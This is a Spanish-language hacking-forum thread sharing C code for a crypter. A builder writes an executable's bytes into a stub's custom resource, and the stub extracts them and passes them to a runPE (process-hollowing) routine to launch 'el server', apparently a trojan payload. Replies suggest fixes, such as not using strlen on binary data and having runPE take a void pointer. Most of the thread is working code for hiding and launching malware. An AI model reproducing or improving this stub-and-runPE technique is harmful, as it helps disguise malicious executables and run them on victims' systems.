Bueh nunca ví por aquí un ejemplo completo para cargar los recursos a un exe y luego que este exe extrajera los el recurso y obtuviera los bytes en una variable para posteriormente ejecutarlos con el runPE o hacer lo que se quiera con los bits...
Cliente:

Código: Seleccionar todo

//... en el main o lugar donde se metan los recursos
HANDLE hRes;
char *szBits="hola";
DWORD dwBits;
dwBits=strlen(szBits);
hRes=BeginUpdateResource("stub.exe",FALSE);
if(hRes!=NULL)
{
  if(UpdateResource(hRes,"CUSTOM",MAKEINTRESOURCE(101),MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),szBits,dwBits)!=NULL)
  {
    EndUpdateResource(hRes,FALSE);
  }
}
//...
Ahí cargamos los recursos al ejecutable stub.exe, en donde es muy importante en UpdateResource cambiar szBits y dwBits por los bits del archivo ejecutable y su tamaño(peso) y aca los extraemos
stub:

Código: Seleccionar todo

char *szArchivo;
DWORD dwTam;
HGLOBAL hGlob;
HANDLE hRes;
hRes=FindResource(NULL,MAKEINTRESOURCE(101),"CUSTOM");
if(hRes!=NULL)
{
  dwTam=SizeofResource(NULL,hRes);
  hGlob=LoadResource(NULL,hRes);
  szArchivo=(char *)malloc(dwTam);
  szArchivo=(char *)LockResource(hGlob);
}

Está claro que le podemos meter unos if's a SizeofResource,LoadResource y LockResource pero bueno yo no lo hize, en fin los bytes quedan almacenados en szArchivo de ahi se puede hacer lo que se guste con ellos como llamar al runpe para que ejecute el server

Código: Seleccionar todo

  //...
  szArchivo=(char *)LockResource(hGlob);
  runPE(proceso,szArchivo);
}
Jeje ojala sea de utilidad
//mHmm..
.
Solo como dato, si van a meter datos sea el tipo que sea no usen strlen() aun que sea texto, digamos que tienen un archivo X de puro texto y como separador interno por farto asi lo leen y lo cargan a memoria N procesos antes de meterlo como recurso a un archivo Y, bueno el error es grave ya que solo meteria una fraccion pero no todo lo deseado.

Por otro lado ese runpe deberian modificarlo para que se le pase un (void*) en lugar de un (char*) asi se podria cargar lo que sea como sea desde donde sea aun que no conocieramos el tipo de datos y evitar hacer los castings que ami me fasinan pero a la vez artan ¬¬".

P.D.: Antes de Me podrias agregan al MSN linkgl te tengo una propuesta de matrimonio lol.

Código: Seleccionar todo

...
char *szBits="hola";
...
No son Bytes? en lugar de bits?

Dulces Lunas!¡.
Web: http://infrangelux.sytes.net/
ScanX: http://ScanX.sytes.net/
FileX: http://FileX.sytes.net/
Blog: http://BlogX.sytes.net/

Imagen


The Dark Shadow is my passion.
El infierno es mi Hogar, mi novia es Lilith y el metal mi religion
Muy buen código...no sé si probastes el ejemplo que te deje por MSN hace un tiempo... nunca llegaste a comentarme nada...
PD: La cam del msn desactivenla en sus conversaciones gays.

Saludos....
Blog técnico dedicado a la seguridad informática y al estudio de nuevas vulnerabilidades.
Blog: http://www.seginformatica.net
Twitter: https://twitter.com/#!/p0is0nseginf
Si lo de strlen tiene varias desventajas además de que si meten un archivo binario al res, con strlen se corta al leer el primer caracter nulo 0x00 despues de MZ sería masomenos, por eso saquen el tamaño del archivo y lo ponen como parametro sería una opción, si es bytes pero me mal acostumbré a decir bits, sobre el runPE bueno lo puse de ejemplo el runPE que uso pasa los datos como LPBYTE no como char :P

Ok te agrego al msn <3

--> Edito
P0is0n! el que me pasaste como ejemplo sólo era de como meter los recursos a un archivo (BeginUpdate... Update... EndUpdate...) y tenía un errorcito por ahí porque cuando extraía los recursos ponía caracteres raros, jeje recuerda que te comente eso :P
//mHmm..
Responder

Volver a “Fuentes”